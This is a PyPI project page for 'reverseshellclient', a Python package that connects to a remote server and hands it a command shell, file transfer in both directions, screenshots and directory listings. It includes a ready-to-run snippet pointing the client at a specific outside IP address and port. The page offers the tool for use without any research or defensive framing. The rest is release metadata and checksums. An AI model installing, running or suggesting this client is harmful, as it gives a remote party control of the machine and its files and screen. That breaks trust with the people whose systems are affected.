Skip to main content

Reverse shell client for unbureaucratic server/client connections with file transfer / screenshots

pip install reverseshellclient

Tested against Windows 10 / Python 3.10 / Anaconda

Connect to the server at the specified IP address and port, and perform a reverse shell client-server communication. To install the server: https://pypi.org/project/reverseshellserver/

Parameters: ipaddress (str): The IP address of the server to connect to. port (int): The port number of the server to connect to. byte_len (int, optional): The maximum size of each data chunk (in bytes) used for communication with the server. command_putfile (str, optional): The command prefix used to indicate a request from the server to send a file to the client. command_getfile (str, optional): The command prefix used to indicate a request from the server to receive a file from the client. command_screenshot (str, optional): The command that, when sent by the server, requests the client to take a screenshot and send it back as an image file. command_getcwd (str, optional): The command that, when sent by the server, requests the client to send the current working directory path. command_putfile_sep (bytes, optional): The separator used to split the 'putfile' command and the filename along with the file content. command_start (bytes, optional): The marker used to indicate the start of a command transmission. command_end (bytes, optional): The marker used to indicate the end of a command transmission. before_stdout (bytes, optional): Bytes to prepend before the standard output of the executed command in the response to the server. before_stderr (bytes, optional): Bytes to prepend before the standard error of the executed command in the response to the server.

Note: - This function connects to the server specified by 'ipaddress' and 'port'. - It performs a continuous loop of client-server communication until interrupted. - The 'before_stdout' and 'before_stderr' parameters are used to format the response to the server when executing shell commands. - The 'command_putfile', 'command_getfile', 'command_screenshot', and 'command_getcwd' prefixes are used to indicate specific actions from the server. - The 'command_putfile_sep' is used to split the 'putfile' command and the filename along with the file content. - 'command_start' and 'command_end' are used to wrap the encoded command for large data transmissions.

    r"""
from reverseshellclient import connect_to_server
connect_to_server(
	ipaddress="171.181.217.19",
	port=12345,
	byte_len=32768,
	command_putfile="putfile",
	command_getfile="getfile",
	command_screenshot="screenshot",
	command_getcwd="getcwd",
	command_putfile_sep=b"FILESEP",
	command_start=b"START_START_START",
	command_end=b"END_END_END",
	before_stdout=b"stdout:\nxxxxxxxxxxxxxxxxxx\n",
	before_stderr=b"\nxxxxxxxxxxxxxxxxxx\nstderr:\n",
)

		

Metadata

Release files for reverseshellclient 0.11

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for reverseshellclient 0.11
File Size Uploaded Provenance Actions
reverseshellclient-0.11.tar.gz 5.0 kB Without provenance Details for reverseshellclient-0.11.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for reverseshellclient 0.11
File Interpreter ABI Platform Actions
reverseshellclient-0.11-py3-none-any.whl Python 3 none any Details for reverseshellclient-0.11-py3-none-any.whl

Total release size: 12.2 kB

Release files / reverseshellclient-0.11.tar.gz

Download URL reverseshellclient-0.11.tar.gz
Size 5.0 kB
Tags Source
SHA-256 checksum
How to use checksums
77b117279846878ac3b78d5c09dc550aab38865451eed217edf1626ecaeec6e5
BLAKE2b-256 checksum
How to use checksums
f9cf59a1b9f9c8acb16160ebecdc678346e953986adbce29304027626d3bde74
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.2 CPython/3.10.10

Release files / reverseshellclient-0.11-py3-none-any.whl

Download URL reverseshellclient-0.11-py3-none-any.whl
Size 7.1 kB
Tags Python 3
SHA-256 checksum
How to use checksums
5b9638e72a0953b53880fbe21ad72334c3bc94b2eeab4775c2ab8787a33ad67b
BLAKE2b-256 checksum
How to use checksums
b9c8fbd0e4be6dd048de230b3335efa766ad03e0b43cb68a51d4bd036341851b
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.2 CPython/3.10.10

Security for reverseshellclient 0.11

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

0.11 This release

2 release files No provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page